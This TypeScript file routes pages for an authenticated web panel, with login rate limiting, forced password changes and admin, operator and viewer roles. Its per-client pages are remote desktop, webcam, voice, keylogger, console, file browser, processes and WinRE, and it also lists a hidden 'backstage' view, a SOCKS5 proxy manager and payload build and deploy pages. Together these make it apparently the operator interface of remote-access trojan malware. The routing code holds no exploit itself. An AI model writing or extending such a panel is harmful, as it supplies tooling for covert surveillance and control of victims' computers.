import { authenticateRequest } from "../../auth"; import { getConfig } from "../../config"; import { consumeLoginPageRateLimit } from "../../rateLimit"; import { requirePermission, type Permission } from "../../rbac"; import { canUserAccessClient, getUserById, type UserRole } from "../../users"; type PageRouteDeps = { PUBLIC_ROOT: string; secureHeaders: (contentType?: string) => Record; mimeType: (path: string) => string; requestIP?: (req: Request) => { address?: string } | null | undefined; }; function tooManyRequestsResponse(retryAfter = 60): Response { return new Response("Too many requests", { status: 429, headers: { "Content-Type": "text/plain; charset=utf-8", "Retry-After": String(retryAfter), }, }); } async function serveLoginOrUnauthorized(req: Request, deps: PageRouteDeps): Promise { const ip = deps.requestIP?.(req)?.address || "unknown"; const limited = consumeLoginPageRateLimit(ip); if (limited.limited) return tooManyRequestsResponse(limited.retryAfter); const loginFile = Bun.file(`${deps.PUBLIC_ROOT}/login.html`); if (await loginFile.exists()) { return new Response(loginFile, { headers: deps.secureHeaders(deps.mimeType("/login.html")) }); } return new Response("Unauthorized", { status: 401 }); } async function serveChangePasswordIfRequired( deps: PageRouteDeps, userId: number, ): Promise { const dbUser = getUserById(userId); if (dbUser && dbUser.must_change_password) { const changePassFile = Bun.file(`${deps.PUBLIC_ROOT}/change-password.html`); if (await changePassFile.exists()) { return new Response(changePassFile, { headers: deps.secureHeaders(deps.mimeType("/change-password.html")), }); } } return null; } async function serveFile(deps: PageRouteDeps, htmlFile: string): Promise { const file = Bun.file(`${deps.PUBLIC_ROOT}/${htmlFile}`); if (await file.exists()) { return new Response(file, { headers: deps.secureHeaders(deps.mimeType(htmlFile)) }); } return null; } // ---- Page definitions ---- type AccessLevel = "any" | "no-viewer" | "admin" | "admin-or-operator"; type StaticPageDef = { path: string; file: string; access: AccessLevel; permission?: Permission; checkPasswordChange?: boolean; }; type ClientPageDef = { pattern: RegExp; file: string; clientIdGroup: number; }; type QueryClientPageDef = { path: string; file: string; }; /** Static pages: each entry maps a URL path to its HTML file + access rules. */ const STATIC_PAGES: StaticPageDef[] = [ { path: "/metrics", file: "metrics.html", access: "any", checkPasswordChange: true }, { path: "/graph", file: "graph.html", access: "any", checkPasswordChange: true }, { path: "/screenshots", file: "screenshots.html", access: "no-viewer", checkPasswordChange: true }, { path: "/settings", file: "settings.html", access: "any", checkPasswordChange: true }, { path: "/logs", file: "logs.html", access: "any", checkPasswordChange: true, permission: "audit:view" }, { path: "/notifications", file: "notifications.html", access: "admin-or-operator", checkPasswordChange: true }, { path: "/users", file: "users.html", access: "admin", checkPasswordChange: true }, { path: "/user-client-access", file: "user-client-access.html", access: "admin", checkPasswordChange: true }, { path: "/build", file: "build.html", access: "admin-or-operator" }, { path: "/sol-publish", file: "sol-publish.html", access: "admin" }, { path: "/plugins", file: "plugins.html", access: "admin-or-operator" }, { path: "/scripts", file: "scripts.html", access: "no-viewer" }, { path: "/deploy", file: "deploy.html", access: "admin" }, { path: "/socks5-manager", file: "socks5-manager.html", access: "no-viewer", checkPasswordChange: true }, { path: "/file-share", file: "file-share.html", access: "no-viewer", checkPasswordChange: true }, { path: "/purgatory", file: "purgatory.html", access: "admin-or-operator", checkPasswordChange: true }, ]; /** Client-scoped pages accessed via query param ?clientId=... */ const QUERY_CLIENT_PAGES: QueryClientPageDef[] = [ { path: "/remotedesktop", file: "remotedesktop.html" }, { path: "/webcam", file: "webcam.html" }, { path: "/backstage", file: "backstage.html" }, { path: "/voice", file: "voice.html" }, { path: "/winre", file: "winre.html" }, ]; /** Client-scoped pages accessed via path /:clientId/feature */ const PATH_CLIENT_PAGES: ClientPageDef[] = [ { pattern: /^\/(.+)\/console$/, file: "console.html", clientIdGroup: 1 }, { pattern: /^\/(.+)\/files$/, file: "filebrowser.html", clientIdGroup: 1 }, { pattern: /^\/(.+)\/processes$/, file: "processes.html", clientIdGroup: 1 }, { pattern: /^\/(.+)\/keylogger$/, file: "keylogger.html", clientIdGroup: 1 }, ]; function checkAccess(role: UserRole, access: AccessLevel): Response | null { switch (access) { case "any": return null; case "no-viewer": if (role === "viewer") { return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); } return null; case "admin": if (role !== "admin") { return new Response("Forbidden: Admin access required", { status: 403 }); } return null; case "admin-or-operator": if (role !== "admin" && role !== "operator") { return new Response("Forbidden: Admin or operator access required", { status: 403 }); } return null; } } export async function handlePageRoutes( req: Request, url: URL, deps: PageRouteDeps, ): Promise { if (req.method !== "GET") return null; const canAccessClientPage = (userId: number, role: UserRole, clientId: string): boolean => { if (!clientId) return false; return canUserAccessClient(userId, role, clientId); }; // ---- Root / index ---- if (url.pathname === "/" || url.pathname === "/index.html") { const authed = await authenticateRequest(req); if (authed) { const maybeChange = await serveChangePasswordIfRequired(deps, authed.userId); if (maybeChange) return maybeChange; } const filePath = authed ? "/index.html" : "/login.html"; const file = Bun.file(`${deps.PUBLIC_ROOT}${filePath}`); if (await file.exists()) { if (!authed) { const limited = consumeLoginPageRateLimit(deps.requestIP?.(req)?.address || "unknown"); if (limited.limited) return tooManyRequestsResponse(limited.retryAfter); } return new Response(file, { headers: deps.secureHeaders(deps.mimeType(filePath)) }); } } // ---- Explicit login page ---- if (url.pathname === "/login.html") { return serveLoginOrUnauthorized(req, deps); } // ---- Change password (always accessible) ---- if (url.pathname === "/change-password.html") { return serveFile(deps, "change-password.html"); } // ---- Registration page (always accessible, no auth needed) ---- if (url.pathname === "/register.html") { return serveFile(deps, "register.html"); } // ---- Static pages (table-driven) ---- for (const page of STATIC_PAGES) { if (url.pathname !== page.path) continue; const user = await authenticateRequest(req); if (!user) return serveLoginOrUnauthorized(req, deps); if (page.path === "/screenshots" && !getConfig().thumbnails.wallEnabled) { return new Response("Screenshot wall is disabled by the administrator", { status: 403 }); } if (page.checkPasswordChange) { const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); if (maybeChange) return maybeChange; } const accessDenied = checkAccess(user.role, page.access); if (accessDenied) return accessDenied; if (page.permission) { try { requirePermission(user, page.permission); } catch (error) { if (error instanceof Response) return error; return new Response("Forbidden", { status: 403 }); } } return serveFile(deps, page.file); } // ---- Client pages via query param (?clientId=...) ---- for (const page of QUERY_CLIENT_PAGES) { if (url.pathname !== page.path) continue; const user = await authenticateRequest(req); if (!user) return serveLoginOrUnauthorized(req, deps); const maybeChange = await serveChangePasswordIfRequired(deps, user.userId); if (maybeChange) return maybeChange; if (user.role === "viewer") { return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); } const clientId = (url.searchParams.get("clientId") || "").trim(); if (!canAccessClientPage(user.userId, user.role, clientId)) { return new Response("Forbidden: Client access denied", { status: 403 }); } return serveFile(deps, page.file); } // ---- Client pages via path (/:clientId/feature) ---- for (const page of PATH_CLIENT_PAGES) { const match = url.pathname.match(page.pattern); if (!match) continue; const user = await authenticateRequest(req); if (!user) return serveLoginOrUnauthorized(req, deps); if (user.role === "viewer") { return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 }); } const clientId = match[page.clientIdGroup]; if (!canAccessClientPage(user.userId, user.role, clientId)) { return new Response("Forbidden: Client access denied", { status: 403 }); } return serveFile(deps, page.file); } return null; }